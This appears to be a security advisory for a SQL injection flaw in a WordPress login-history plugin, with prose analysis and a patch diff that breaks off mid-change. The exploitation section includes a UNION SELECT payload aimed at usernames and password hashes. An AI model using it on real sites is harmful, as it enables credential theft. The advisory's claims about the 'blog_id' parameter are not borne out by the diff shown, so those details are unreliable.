Published : August 15, 2026

CVE-2026-2283: User Login History <= 2.1.7 Authenticated (Administrator+) SQL Injection via 'blog_id' Parameter PoC, Patch Analysis & Rule

CVE ID CVE-2026-2283
Severity Medium (CVSS 4.9)
CWE 89
Vulnerable Version 2.1.7
Patched Version 2.1.8
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2283: The User Login History plugin for WordPress, versions up to and including 2.1.7, contains a SQL injection vulnerability in the ‘blog_id’ parameter. This issue affects authenticated attackers with Administrator-level access on multisite installations. The flaw allows attackers to append malicious SQL queries to existing database queries, which can be used to extract sensitive information. The vulnerability has a CVSS score of 4.9, reflecting its high privilege requirement but significant potential for data exposure.

Root Cause: The root cause lies in the insufficient preparation of the SQL query that handles the ‘blog_id’ parameter. The vulnerable code path is in the plugin’s admin listing table class. The ‘prepare_where_query’ function did not use prepared statements for the ‘blog_id’ parameter. Instead, it directly concatenated the user-supplied value into the SQL query after only basic escaping. The diff shows the original code relied on ‘Db_Helper::get_results( $sql )’ and ‘Db_Helper::get_var( $sql )’ for database operations. These helper functions did not properly sanitize or prepare the query for the ‘blog_id’ parameter, allowing an attacker to inject arbitrary SQL. The patch modifies the query-building process to use the ‘wpdb->prepare’ function with placeholders, which properly escapes and sanitizes the user input before it is included in the query.

Exploitation: An attacker with Administrator-level access can exploit this vulnerability by crafting a malicious request to the WordPress admin panel. The attack vector is the login history list table, which is accessible under the ‘Login List’ menu in the admin dashboard. The attacker would manipulate the ‘blog_id’ parameter in the URL to include a SQL injection payload. For example, a request to the admin page could include ‘&blog_id=1 UNION SELECT user_login, user_pass FROM wp_users–‘ as the value. The vulnerable code would then concatenate this string directly into the SQL query. Because the query is used to fetch login history records, the attacker could use a UNION-based injection to extract usernames and password hashes from the ‘wp_users’ table. This attack is only exploitable on multisite installations because the ‘blog_id’ parameter is likely only used in that context, but the vulnerability exists regardless of the specific parameter’s purpose.

Patch Analysis: The patch addresses the SQL injection by implementing prepared statements for the ‘blog_id’ parameter. The diff shows a shift from using the custom ‘Db_Helper::get_results’ and ‘Db_Helper::get_var’ functions to using ‘wpdb->prepare’ and ‘wpdb->get_results’ and ‘wpdb->get_var’. The patch introduces a structured approach to query building: the ‘prepare_where_query’ function now returns an array containing the SQL query string and an array of values. The calling code then uses ‘wpdb->prepare( $sql, $where_query_values )’ to safely substitute the values into the query. This ensures that the ‘blog_id’ parameter is treated as data, not as executable SQL code. The prepared statement approach automatically escapes special characters, neutralizing any injected SQL syntax. The patch also updates related code for the ‘orderby’ and ‘order’ parameters to use ‘sanitize_sql_orderby’, which restricts them to a whitelist of allowed values, further hardening the query construction.

Impact: Successful exploitation of this vulnerability allows an authenticated Administrator attacker to extract sensitive information from the WordPress database. This includes user credentials, such as usernames and password hashes, which could be used in further attacks. While the attack requires Administrator-level access, a successful SQL injection can lead to complete database compromise. The attacker could read any table, including options, posts, and users, potentially exposing sensitive configuration data and personally identifiable information. This vulnerability represents a serious security risk because it allows an attacker to bypass the intended access controls and directly interact with the database, potentially leading to a full site takeover if the information gleaned is used to escalate privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/user-login-history/inc/admin/class-admin-login-list-table.php
+++ b/user-login-history/inc/admin/class-admin-login-list-table.php
@@ -11,14 +11,14 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_History as NS;
 use User_Login_HistoryIncCommonHelpersDb as Db_Helper;
-use User_Login_HistoryIncCommonHelpersDate_Time as Date_Time_Helper;
-use User_Login_HistoryIncAdminUser_Profile;
-use User_Login_HistoryIncCommonAbstractsList_Table as List_Table_Abstract;
 use User_Login_HistoryIncCommonInterfacesAdmin_Csv as Admin_Csv_Interface;
 use User_Login_HistoryIncCommonInterfacesAdmin_List_Table as Admin_List_Table_Interface;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Render the login listing page.
  */
@@ -41,15 +41,19 @@
 				. ' FROM ' . $table . '  AS FaUserLogin'
 				. ' WHERE 1 ';

-		$where_query = $this->prepare_where_query();
+		$where              = $this->prepare_where_query();
+		$where_query        = $where['where_query'] ?? '';
+		$where_query_values = $where['where_query_values'] ?? array();

 		if ( $where_query ) {
 			$sql .= $where_query;
 		}

-		if ( ! empty( $_REQUEST['orderby'] ) ) {
-			$direction            = ! empty( $_REQUEST['order'] ) ? $_REQUEST['order'] : ' ASC';
-			$sanitize_sql_orderby = sanitize_sql_orderby( $_REQUEST['orderby'] . ' ' . $direction );
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required here to fetch records.
+		$the_get = $_REQUEST;
+		if ( ! empty( $the_get['orderby'] ) ) {
+			$direction            = ! empty( $the_get['order'] ) ? $the_get['order'] : ' ASC';
+			$sanitize_sql_orderby = sanitize_sql_orderby( $the_get['orderby'] . ' ' . $direction );
 			if ( $sanitize_sql_orderby ) {
 				$sql .= ' ORDER BY ' . $sanitize_sql_orderby;
 			}
@@ -62,7 +66,8 @@
 			$sql .= ' OFFSET   ' . ( $page_number - 1 ) * $per_page;
 		}

-		return Db_Helper::get_results( $sql );
+		// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching	 -- $sql is built internally with placeholders, not from user input.
+		return $wpdb->get_results( $wpdb->prepare( $sql, $where_query_values ), ARRAY_A );
 	}

 	/**
@@ -74,17 +79,22 @@
 	public function record_count() {
 		global $wpdb;
 		$table = $wpdb->prefix . $this->table;
-		$sql   = ' SELECT'
+
+		$sql = ' SELECT'
 				. ' COUNT(FaUserLogin.id) AS total'
 				. ' FROM ' . $table . ' AS FaUserLogin'
 				. ' WHERE 1 ';
-		$where_query = $this->prepare_where_query();
+
+		$where              = $this->prepare_where_query();
+		$where_query        = $where['where_query'] ?? '';
+		$where_query_values = $where['where_query_values'] ?? array();

 		if ( $where_query ) {
 			$sql .= $where_query;
 		}

-		return Db_Helper::get_var( $sql );
+		// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching	-- already scaped.
+		return $wpdb->get_var( $wpdb->prepare( $sql, $where_query_values ) );
 	}

 	/**
@@ -106,7 +116,15 @@

 		$delete_nonce = wp_create_nonce( $this->delete_action_nonce );
 		$actions      = array(
-			'delete' => sprintf( '<a href="?page=%s&action=%s&record_id=%s&_wpnonce=%s">%s</a>', esc_attr( $_REQUEST['page'] ), $this->delete_action, absint( $item['id'] ), $delete_nonce, esc_html__( 'Delete', 'faulh' ) ),
+			'delete' => sprintf(
+				'<a href="?page=%s&action=%s&record_id=%s&_wpnonce=%s">%s</a>',
+				// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required here to fetch records.
+				esc_attr( sanitize_text_field( isset( $_REQUEST['page'] ) ? wp_unslash( $_REQUEST['page'] ) : '' ) ),
+				$this->delete_action,
+				absint( $item['id'] ),
+				$delete_nonce,
+				esc_html__( 'Delete', 'user-login-history' )
+			),
 		);
 		return $title . $this->row_actions( $actions );
 	}
@@ -129,35 +147,45 @@
 	public function process_bulk_action() {
 		$nonce = '_wpnonce';

-		if ( ! isset( $_POST[ $this->get_bulk_action_form() ] ) || empty( $_POST[ $nonce ] ) || ! wp_verify_nonce( $_POST[ $nonce ], $this->get_bulk_action_nonce() ) || ! current_user_can( 'administrator' ) ) {
+		if (
+			! isset( $_POST[ $this->get_bulk_action_form() ] )
+			|| empty( $_POST[ $nonce ] )
+			|| ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST[ $nonce ] ) ), $this->get_bulk_action_nonce() )
+			|| ! current_user_can( 'edit_users' )
+		) {
 			return;
 		}

-		$message = esc_html__( 'Please try again.', 'faulh' );
+		$message = esc_html__( 'Please try again.', 'user-login-history' );
 		$status  = false;

 		switch ( $this->current_action() ) {

 			case 'bulk-delete':
 				if ( ! empty( $_POST['bulk-action-ids'] ) ) {
-					$status = Db_Helper::delete_rows_by_table_and_ids( $this->table, $_POST['bulk-action-ids'] );
+					// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- sanitized with absint.
+					$ids    = (array) wp_unslash( $_POST['bulk-action-ids'] );
+					$ids    = array_filter( array_map( 'absint', $ids ) );
+					$status = Db_Helper::delete_rows_by_table_and_ids( $this->table, $ids );
 					if ( $status ) {
-						$message = esc_html__( 'Selected record(s) deleted.', 'faulh' );
+						$message = esc_html__( 'Selected record(s) deleted.', 'user-login-history' );
 					}
 				}

 				break;

 			case 'bulk-delete-all-admin':
-				$status = Db_Helper::truncate_table( $this->table );
+				global $wpdb;
+				$status = $wpdb->query( $wpdb->prepare( 'TRUNCATE TABLE %i', $wpdb->prefix . $this->table ) );
 				if ( $status ) {
-					$message = esc_html__( 'All record(s) deleted.', 'faulh' );
+					$message = esc_html__( 'All record(s) deleted.', 'user-login-history' );
 				}
 				break;
 		}

 		$this->admin_notice->add_notice( $message, $status ? 'success' : 'error' );
-		wp_safe_redirect( esc_url( 'admin.php?page=' . $_GET['page'] ) );
+		$page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
+		wp_safe_redirect( esc_url( 'admin.php?page=' . $page ) );
 		exit;
 	}

@@ -167,24 +195,33 @@
 	public function process_single_action() {
 		$nonce = '_wpnonce';

-		if ( empty( $_GET['record_id'] ) || empty( $_GET[ $nonce ] ) || ! wp_verify_nonce( $_GET[ $nonce ], $this->get_delete_action_nonce() ) || ! current_user_can( 'administrator' ) ) {
+		if (
+			empty( $_GET['record_id'] )
+			|| empty( $_GET[ $nonce ] )
+			|| ! wp_verify_nonce(
+				sanitize_text_field( wp_unslash( $_GET[ $nonce ] ) ),
+				$this->get_delete_action_nonce()
+			)
+			|| ! current_user_can( 'edit_users' )
+		) {
 			return;
 		}

 		$id      = absint( $_GET['record_id'] );
 		$status  = false;
-		$message = esc_html__( 'Please try again.', 'faulh' );
+		$message = esc_html__( 'Please try again.', 'user-login-history' );
 		switch ( $this->current_action() ) {
 			case $this->delete_action:
 				$status = Db_Helper::delete_rows_by_table_and_ids( $this->table, array( $id ) );
 				if ( $status ) {
-					$message = esc_html__( 'Record deleted.', 'faulh' );
+					$message = esc_html__( 'Record deleted.', 'user-login-history' );
 				}
 				break;
 		}

 		$this->admin_notice->add_notice( $message, $status ? 'success' : 'error' );
-		wp_safe_redirect( esc_url( 'admin.php?page=' . $_GET['page'] ) );
+		$page = isset( $_GET['page'] ) ? sanitize_text_field( wp_unslash( $_GET['page'] ) ) : '';
+		wp_safe_redirect( esc_url( 'admin.php?page=' . $page ) );
 		exit;
 	}

@@ -194,7 +231,7 @@
 	 * @overridden
 	 */
 	public function get_columns() {
-		return apply_filters( $this->plugin_name . '_admin_login_list_get_columns', parent::get_columns() );
+		return apply_filters( 'faulh_admin_login_list_get_columns', parent::get_columns() );
 	}

 	/**
@@ -203,7 +240,6 @@
 	 * @overridden
 	 */
 	public function get_sortable_columns() {
-		return apply_filters( $this->plugin_name . '_admin_login_list_get_sortable_columns', parent::get_sortable_columns() );
+		return apply_filters( 'faulh_admin_login_list_get_sortable_columns', parent::get_sortable_columns() );
 	}
-
 }
--- a/user-login-history/inc/admin/class-admin-notice.php
+++ b/user-login-history/inc/admin/class-admin-notice.php
@@ -11,6 +11,10 @@

 namespace User_Login_HistoryIncAdmin;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Handle admin notice functionality.
  *
@@ -76,11 +80,10 @@
 		if ( false !== $notices ) {
 			foreach ( $notices as $notice ) {
 				if ( ! empty( $notice[1] && ! empty( $notice[0] ) ) ) {
-					echo '<div class="notice notice-' . esc_attr($notice[1]) . ' is-dismissible"><p>' . esc_html($notice[0]) . '</p></div>';
+					echo '<div class="notice notice-' . esc_attr( $notice[1] ) . ' is-dismissible"><p>' . esc_html( $notice[0] ) . '</p></div>';
 				}
 			}
 			delete_transient( $this->transient_name );
 		}
 	}
-
 }
--- a/user-login-history/inc/admin/class-admin.php
+++ b/user-login-history/inc/admin/class-admin.php
@@ -11,17 +11,16 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_History as NS;
 use User_Login_HistoryIncCoreActivator;
-use User_Login_HistoryIncCommonHelpersDb as Db_Helper;
 use User_Login_HistoryIncAdminListing_Table_Csv;
 use User_Login_HistoryIncAdminAdmin_Login_List_Table;
 use User_Login_HistoryIncAdminNetwork_Admin_Login_List_Table;
 use User_Login_HistoryIncAdminUser_Profile;
-use User_Login_HistoryIncCommonInterfacesAdmin_Csv;
-use User_Login_HistoryIncCommonLogin_Tracker;
 use User_Login_HistoryIncAdminSettings as Admin_Settings;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
 /**
  * Backend Functionality.
  */
@@ -83,7 +82,12 @@
 	 * @param User_Login_HistoryIncAdminAdmin_Notice $admin_notice The notice object.
 	 */
 	public function __construct(
-			$plugin_name, $version, User_Profile $user_profile, Listing_Table_Csv $listing_table_csv, Admin_Settings $admin_settings, Admin_Notice $admin_notice
+		$plugin_name,
+		$version,
+		User_Profile $user_profile,
+		Listing_Table_Csv $listing_table_csv,
+		Admin_Settings $admin_settings,
+		Admin_Notice $admin_notice
 	) {

 		$this->plugin_name       = $plugin_name;
@@ -143,18 +147,17 @@
 	 */
 	private function enqueue_scripts_for_plugin_login_list_page() {
 		if ( $this->is_plugin_login_list_page() ) {
-			wp_enqueue_script( $this->plugin_name . '-admin-jquery-ui.min', plugin_dir_url( __FILE__ ) . 'js/jquery-ui.min.js', array(), $this->version, 'all' );
-			wp_enqueue_script( $this->plugin_name . '-admin', plugin_dir_url( __FILE__ ) . 'js/admin.js', array(), $this->version, 'all' );
+			wp_enqueue_script( $this->plugin_name . '-admin', plugin_dir_url( __FILE__ ) . 'js/admin.js', array( 'jquery', 'jquery-ui-datepicker' ), $this->version, 'all' );
 			wp_localize_script(
 				$this->plugin_name . '-admin',
 				'admin_custom_object',
 				array(
-					'delete_confirm_message'     => esc_html__( 'Are your sure?', 'faulh' ),
-					'invalid_date_range_message' => esc_html__( 'Please provide a valid date range.', 'faulh' ),
+					'delete_confirm_message'     => esc_html__( 'Are your sure?', 'user-login-history' ),
+					'invalid_date_range_message' => esc_html__( 'Please provide a valid date range.', 'user-login-history' ),
 					'admin_url'                  => admin_url(),
 					'plugin_name'                => $this->plugin_name,
-					'show_advanced_filters'      => esc_html__( 'Show Advanced Filters', 'faulh' ),
-					'hide_advanced_filters'      => esc_html__( 'Hide Advanced Filters', 'faulh' ),
+					'show_advanced_filters'      => esc_html__( 'Show Advanced Filters', 'user-login-history' ),
+					'hide_advanced_filters'      => esc_html__( 'Hide Advanced Filters', 'user-login-history' ),
 				)
 			);
 		}
@@ -179,9 +182,8 @@
 		global $pagenow, $plugin_page;

 		if ( 'admin.php' == $pagenow && $this->plugin_name . '-pro' == $plugin_page ) {
-			wp_enqueue_style( $this->plugin_name . '-admin-bt', '//maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css', array(), $this->version, 'all' );
-			wp_enqueue_style( $this->plugin_name . '-admin-fa', '//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css', array(), $this->version, 'all' );
-			wp_enqueue_style( $this->plugin_name . '-admin-gf', '//fonts.googleapis.com/css?family=Poppins&display=swap', array(), $this->version, 'all' );
+			wp_enqueue_style( $this->plugin_name . '-admin-bt', plugin_dir_url( __FILE__ ) . '/css/bootstrap.min.css', array(), $this->version, 'all' );
+			wp_enqueue_style( $this->plugin_name . '-admin-fa', plugin_dir_url( __FILE__ ) . '/css/font-awesome.min.css', array(), $this->version, 'all' );
 			wp_enqueue_style( $this->plugin_name . '-admin-gp', plugin_dir_url( __FILE__ ) . 'css/go-pro.css', array(), $this->version, 'all' );
 		}

@@ -213,17 +215,17 @@

 		$menu_slug = $this->get_plugin_login_list_page_slug();
 		$hook      = add_menu_page(
-			esc_html__( 'Login List', 'faulh' ),
-			NSPLUGIN_NAME,
+			esc_html__( 'Login List', 'user-login-history' ),
+			FAULH_PLUGIN_NAME,
 			'administrator',
 			$menu_slug,
 			array( $this, 'render_login_list' ),
 			plugin_dir_url( __FILE__ ) . 'images/icon.png',
 			30
 		);
-		add_submenu_page( $menu_slug, esc_html__( 'Login List', 'faulh' ), esc_html__( 'Login List', 'faulh' ), 'administrator', $menu_slug, array( $this, 'render_login_list' ) );
-		add_submenu_page( $menu_slug, esc_html__( 'Pro Features', 'faulh' ), esc_html__( 'Pro Features', 'faulh' ), 'administrator', $this->plugin_name . '-pro', array( $this, 'render_pro' ) );
-		add_submenu_page( $menu_slug, esc_html__( 'More Plugins', 'faulh' ), esc_html__( 'More Plugins', 'faulh' ), 'administrator', $this->plugin_name . '-more-plugins', array( $this, 'render_more_plugins' ) );
+		add_submenu_page( $menu_slug, esc_html__( 'Login List', 'user-login-history' ), esc_html__( 'Login List', 'user-login-history' ), 'administrator', $menu_slug, array( $this, 'render_login_list' ) );
+		add_submenu_page( $menu_slug, esc_html__( 'Pro Features', 'user-login-history' ), esc_html__( 'Pro Features', 'user-login-history' ), 'administrator', $this->plugin_name . '-pro', array( $this, 'render_pro' ) );
+		add_submenu_page( $menu_slug, esc_html__( 'More Plugins', 'user-login-history' ), esc_html__( 'More Plugins', 'user-login-history' ), 'administrator', $this->plugin_name . '-more-plugins', array( $this, 'render_more_plugins' ) );

 		add_action( "load-$hook", array( $this, 'screen_option' ) );
 	}
@@ -232,22 +234,21 @@
 	 * Render the login listing page
 	 */
 	public function render_login_list() {
-		require plugin_dir_path( dirname( __FILE__ ) ) . 'admin/views/login-list-table.php';
+		require plugin_dir_path( __DIR__ ) . 'admin/views/login-list-table.php';
 	}

 	/**
 	 * Render the login listing page
 	 */
 	public function render_pro() {
-		require plugin_dir_path( dirname( __FILE__ ) ) . 'admin/views/pro.php';
+		require plugin_dir_path( __DIR__ ) . 'admin/views/pro.php';
 	}

 	/**
 	 * Render the more plugins page.
 	 */
-	public function render_more_plugins()
-	{
-		require plugin_dir_path(dirname(__FILE__)) . 'admin/views/more_plugins.php';
+	public function render_more_plugins() {
+		require plugin_dir_path( __DIR__ ) . 'admin/views/more_plugins.php';
 	}

 	/**
@@ -268,7 +269,7 @@
 	public function screen_option() {
 		$option = 'per_page';
 		$args   = array(
-			'label'   => __( 'Show Records Per Page', 'faulh' ),
+			'label'   => __( 'Show Records Per Page', 'user-login-history' ),
 			'default' => 20,
 			'option'  => $this->plugin_name . '_rows_per_page',
 		);
@@ -303,7 +304,7 @@
 			return;
 		}
 		// Current version.
-		$current_version = get_option( NSPLUGIN_OPTION_NAME_VERSION );
+		$current_version = get_option( FAULH_PLUGIN_OPTION_NAME_VERSION );
 		// If the version is older.
 		if ( $current_version && version_compare( $current_version, $this->version, '<' ) ) {

@@ -311,8 +312,8 @@
 				require_once ABSPATH . '/wp-admin/includes/plugin.php';
 			}

-			if ( is_plugin_active_for_network( NSPLUGIN_BOOTSTRAP_FILE_PATH_FROM_PLUGIN_FOLDER ) ) {
-				$blog_ids = Db_Helper::get_blog_ids_by_site_id();
+			if ( is_plugin_active_for_network( FAULH_PLUGIN_BASENAME ) ) {
+				$blog_ids = get_sites( array( 'fields' => 'ids' ) );
 				foreach ( $blog_ids as $blog_id ) {
 					switch_to_blog( $blog_id );
 					Activator::create_table();
@@ -325,12 +326,11 @@
 			}
 		}
 	}
-
- public function add_action_links($actions) {
-        $links = array(
-            sprintf('<a target="_blank" href="%s">%s</a>', esc_url(NSPLUGIN_GO_PRO_LINK), esc_html__('Buy Pro', 'faulh')),
-        );
-        return array_merge($actions, $links);
-    }

+	public function add_action_links( $actions ) {
+		$links = array(
+			sprintf( '<a target="_blank" href="%s">%s</a>', esc_url( FAULH_PLUGIN_GO_PRO_LINK ), esc_html__( 'Buy Pro', 'user-login-history' ) ),
+		);
+		return array_merge( $actions, $links );
+	}
 }
--- a/user-login-history/inc/admin/class-listing-table-csv.php
+++ b/user-login-history/inc/admin/class-listing-table-csv.php
@@ -11,9 +11,12 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_HistoryIncCommonHelpersDate_Time as Date_Time_Helper;
 use User_Login_HistoryIncCommonInterfacesAdmin_Csv as Admin_Csv_Interface;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * CSV Export Functionality
  *
@@ -35,7 +38,7 @@
 	 *
 	 * @var string
 	 */
-	private $unknown_symbol = '---';
+	private $unknown_symbol = '';

 	/**
 	 * Set the listing table.
@@ -50,8 +53,9 @@
 	 * Set content type in header.
 	 */
 	private function set_headers() {
-		header( 'Content-Type: text/csv' );
-		header( 'Content-Disposition: attachment;filename=' . $this->get_suffix() . '.csv' );
+		$filename = sanitize_file_name( $this->get_suffix() . '.csv' );
+		header( 'Content-Type: text/csv; charset=UTF-8' );
+		header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
 	}

 	/**
@@ -60,7 +64,7 @@
 	 * @return string
 	 */
 	private function get_suffix() {
-		return 'login_list_' . date( 'n-j-y_H-i' );
+		return 'login_list_' . wp_date( 'n-j-y_H-i' );
 	}

 	/**
@@ -85,40 +89,113 @@
 	 * Exports CSV.
 	 */
 	private function export() {
-		$data = $this->listing_table->get_all_rows();
-
-		if ( ! $data ) {
-			$this->listing_table->no_items();
-			exit;
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- WP_Filesystem is actually not ideal for CSV export.
+		$handle = fopen( 'php://output', 'w' );
+		if ( false === $handle ) {
+			return;
 		}
-
-		$csv = LeagueCsvWriter::createFromString();
 		$this->listing_table->set_unknown_symbol( $this->unknown_symbol );
 		$columns = $this->listing_table->get_columns();

 		$i      = 0;
 		$record = array();
-		foreach ( $data as $row ) {
+		$page   = 1;
+		$limit  = 100;

-			foreach ( $columns as $field_name => $field_label ) {
-				if ( ! key_exists( $field_name, $row ) ) {
-					continue;
-				}
+		while ( true ) {
+			$batch = $this->listing_table->get_rows( $limit, $page );

-				$record[ $field_name ] = $this->listing_table->column_default( $row, $field_name );
+			if ( empty( $batch ) ) {
+				if ( 0 === $i ) {
+					fputcsv( $handle, array( __( 'No records found', 'user-login-history' ) ), ',', '"', '\' );
+					exit;
+				}
+				break;
 			}

-			if ( 0 == $i ) {
-				$csv->insertOne(array_keys( $record ) );
+			foreach ( $batch as $row ) {
+				$record = array();
+				foreach ( $columns as $field_name => $field_label ) {
+					if ( ! key_exists( $field_name, $row ) ) {
+						continue;
+					}

-			}
+					$record[ $field_name ] = $this->listing_table->column_default( $row, $field_name );
+				}
+
+				if ( 0 == $i ) {
+					fputcsv( $handle, $this->escape_csv_record( array_keys( $record ) ), ',', '"', '\' );
+				}
+
+				fputcsv( $handle, $this->escape_csv_record( $record ), ',', '"', '\' );

-			$csv->insertOne( $record );
+				++$i;
+			}

-			$i++;
+			++$page;
+			wp_cache_flush_runtime();
 		}
-		$csv->output();
+		wp_cache_flush_runtime();
+		// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- WP_Filesystem is actually not ideal for CSV export.
+		fclose( $handle );
 		die();
 	}

+	/**
+	 * Escape CSV formula injection characters.
+	 *
+	 * @param array $record CSV record.
+	 * @return array
+	 */
+	private function escape_csv_record( array $record ) {
+		foreach ( $record as $key => $value ) {
+			$record[ $key ] = $this->escape_csv_field( $value );
+		}
+
+		return $record;
+	}
+
+	/**
+	 * Escape a single CSV field if it looks like a formula.
+	 *
+	 * @param mixed $value CSV field value.
+	 * @return mixed
+	 */
+	private function escape_csv_field( $value ) {
+		if ( is_string( $value ) ) {
+			$str = $value;
+		} elseif ( is_object( $value ) && method_exists( $value, '__toString' ) ) {
+			$str = (string) $value;
+		} else {
+			return $value;
+		}
+
+		// Decode HTML entities from DB storage
+		$str = html_entity_decode( $str, ENT_QUOTES, 'UTF-8' );
+
+		// Strip HTML tags
+		$str = wp_strip_all_tags( $str );
+
+		// Strip NULL bytes
+		$str = str_replace( "", '', $str );
+
+		if ( '' === $str ) {
+			return $str;
+		}
+
+		// Trim ALL unicode whitespace variants before checking first char
+		$trimmed = preg_replace( '/^[pZpC]+/u', '', $str );
+
+		if ( '' === $trimmed ) {
+			return $str;
+		}
+
+		$dangerous_chars = array( '=', '-', '+', '@', '|', "t", "r", "n" );
+
+		if ( in_array( $trimmed[0], $dangerous_chars, true ) ) {
+			return "'t" . $str; // t after quote breaks formula parsing in Excel/Sheets
+		}
+
+		return $str;
+	}
 }
--- a/user-login-history/inc/admin/class-login-list-table.php
+++ b/user-login-history/inc/admin/class-login-list-table.php
@@ -11,8 +11,6 @@

 namespace User_Login_HistoryIncAdmin;

-use User_Login_History as NS;
-use User_Login_HistoryIncCommonHelpersDb as Db_Helper;
 use User_Login_HistoryIncCommonHelpersDate_Time as Date_Time_Helper;
 use User_Login_HistoryIncAdminUser_Profile;
 use User_Login_HistoryIncCommonAbstractsList_Table as List_Table_Abstract;
@@ -20,6 +18,10 @@
 use User_Login_HistoryIncCommonHelpersTemplate as Template_Helper;
 use User_Login_HistoryIncCommonHelpers;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 /**
  * Base class to handle admin and network admin login listing functionality.
  */
@@ -107,70 +109,80 @@
 	 */
 	public function init() {
 		parent::init();
-		$this->table         = NSPLUGIN_TABLE_FA_USER_LOGINS;
+		$this->table         = FAULH_PLUGIN_TABLE_FA_USER_LOGINS;
 		$this->delete_action = $this->_args['singular'] . '_delete';
 	}

 	/**
 	 * Prepares the where query.
 	 *
-	 * @return string
+	 * @return array
 	 */
 	public function prepare_where_query() {

-		$where_query = '';
+		$where_query        = '';
+		$where_query_values = array();

 		$fields = array(
-			'user_id',
-			'username',
-			'browser',
-			'operating_system',
-			'ip_address',
-			'timezone',
-			'country_name',
-			'old_role',
+			'user_id'          => '%d',
+			'username'         => '%s',
+			'browser'          => '%s',
+			'operating_system' => '%s',
+			'ip_address'       => '%s',
+			'timezone'         => '%s',
+			'country_name'     => '%s',
+			'old_role'         => '%s',
 		);

-		foreach ( $fields as $field ) {
-			if ( ! empty( $_GET[ $field ] ) ) {
-				$where_query .= " AND `FaUserLogin`.`$field` = '" . esc_sql( trim( $_GET[ $field ] ) ) . "'";
+		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce is not required here to fetch records.
+		$the_get = $_GET;
+
+		foreach ( $fields as $field => $field_type ) {
+			if ( ! empty( $the_get[ $field ] ) ) {
+				$where_query         .= " AND `FaUserLogin`.`$field` = $field_type";
+				$where_query_values[] = $the_get[ $field ];
 			}
 		}

-		if ( ! empty( $_GET['date_type'] ) ) {
+		if ( ! empty( $the_get['date_type'] ) ) {
 			$user_profile   = new User_Profile( $this->plugin_name, $this->version );
 			$input_timezone = $user_profile->get_user_timezone();
-			$date_type      = $_GET['date_type'];
-
-			if ( in_array( $date_type, array_keys( Template_Helper::time_field_types() ) ) ) {
+			$date_type      = $the_get['date_type'];

+			if ( in_array( $date_type, array_keys( Template_Helper::time_field_types() ), true ) ) {
 				$key_date_from = 'date_from';
 				$key_date_to   = 'date_to';

-				if ( ! empty( $_GET[ $key_date_from ] ) && ! empty( $_GET[ $key_date_to ] ) ) {
-					$date_type = esc_sql( $date_type );
-					$date_from = Date_Time_Helper::convert_timezone( $_GET[ $key_date_from ] . ' 00:00:00', $input_timezone );
-					$date_to   = Date_Time_Helper::convert_timezone( $_GET[ $key_date_to ] . ' 23:59:59', $input_timezone );
+				if ( ! empty( $the_get[ $key_date_from ] ) && ! empty( $the_get[ $key_date_to ] ) ) {
+					$date_from = Date_Time_Helper::convert_timezone( $the_get[ $key_date_from ] . ' 00:00:00', $input_timezone );
+					$date_to   = Date_Time_Helper::convert_timezone( $the_get[ $key_date_to ] . ' 23:59:59', $input_timezone );

 					if ( $date_from && $date_to ) {
-						$where_query .= " AND `FaUserLogin`.`time_$date_type` >= '" . esc_sql( $date_from ) . "'";
-						$where_query .= " AND `FaUserLogin`.`time_$date_type` <= '" . esc_sql( $date_to ) . "'";
+						$where_query         .= " AND `FaUserLogin`.`time_$date_type` >= %s";
+						$where_query         .= " AND `FaUserLogin`.`time_$date_type` <= %s";
+						$where_query_values[] = $date_from;
+						$where_query_values[] = $date_to;
 					}
 				} else {
-					unset( $_GET[ $key_date_from ] );
-					unset( $_GET[ $key_date_to ] );
+					unset( $the_get[ $key_date_from ] );
+					unset( $the_get[ $key_date_to ] );
 				}
 			}
 		}

-		if ( ! empty( $_GET['login_status'] ) ) {
-			$login_status       = $_GET['login_status'];
-			$login_status_value = strtolower( $login_status ) == 'unknown' ? '' : esc_sql( $login_status );
-			$where_query       .= " AND `FaUserLogin`.`login_status` = '" . $login_status_value . "'";
+		if ( ! empty( $the_get['login_status'] ) ) {
+			$login_status         = $the_get['login_status'];
+			$login_status_value   = strtolower( $login_status ) == 'unknown' ? '' : $login_status;
+			$where_query         .= ' AND `FaUserLogin`.`login_status` = %s';
+			$where_query_values[] = $login_status_value;
 		}

-		$where_query = apply_filters( 'faulh_admin_prepare_where_query', $where_query );
-		return $where_query;
+		$where_query        = apply_filters( 'faulh_admin_prepare_where_query', $where_query );
+		$where_query_values = apply_filters( 'faulh_admin_prepare_where_query_values', $where_query_values );
+		return array(
+			'where_query'        => $where_query,
+			'where_query_values' => $where_query_values,
+		);
 	}

 	/**
@@ -180,8 +192,8 @@
 	 */
 	public function get_bulk_actions() {
 		$actions = array(
-			'bulk-delete'           => esc_html__( 'Delete Selected Records', 'faulh' ),
